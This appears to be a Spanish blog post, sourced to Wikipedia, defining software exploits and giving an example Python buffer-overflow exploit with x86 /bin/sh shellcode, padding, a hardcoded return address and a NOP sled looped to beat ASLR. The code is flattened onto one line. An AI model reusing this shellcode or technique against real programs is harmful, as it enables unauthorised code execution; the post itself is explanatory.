Los Exploits pueden ser escritos empleando una diversidad de lenguajes de programación, aunque mayoritariamente se suele utilizar lenguaje C. También puede aprovecharse de distintos tipos de ataques tales como desbordamiento de búfer, Cross Site Scripting, Format Strings, Inyección SQL, entre otros.
Un ejemplo de un exploit, que se aprovecha de un desbordamiento de búfer escrito en lenguaje Python sería:
#!/usr/bin/env python import os import sys import time class Exploit: def __init__(self): if len(sys.argv) <> 2: print "\n[*] Usage: python exploit.py /path/binary\n" exit() else: self.arg2=sys.argv[1] # Command=/bin/sh Size=24 bytes Bind=No self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73" "\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") self.payload = '\x41'*1036 # Padding 0x41 (A) self.payload += '\x70\x9b\x80\xbf' # Magic Address -> 0xbf809b70 self.payload += '\x90'*10000 # 0x90 (NOP) x 10000 # The ASLR begin at the memory address 0xbf80010#i1 def loop(self): print "\n[+] Starting Explotation...\n" time.sleep(2) while True: os.system(self.arg2 + ' ' + self.payload + self.shellcode) """Start execution""" if __name__ == '__main__': union=Exploit() conector=union.loop() exit()
Fuente: http://es.wikipedia.org/wiki/Exploit
0 comentarios:
Publicar un comentario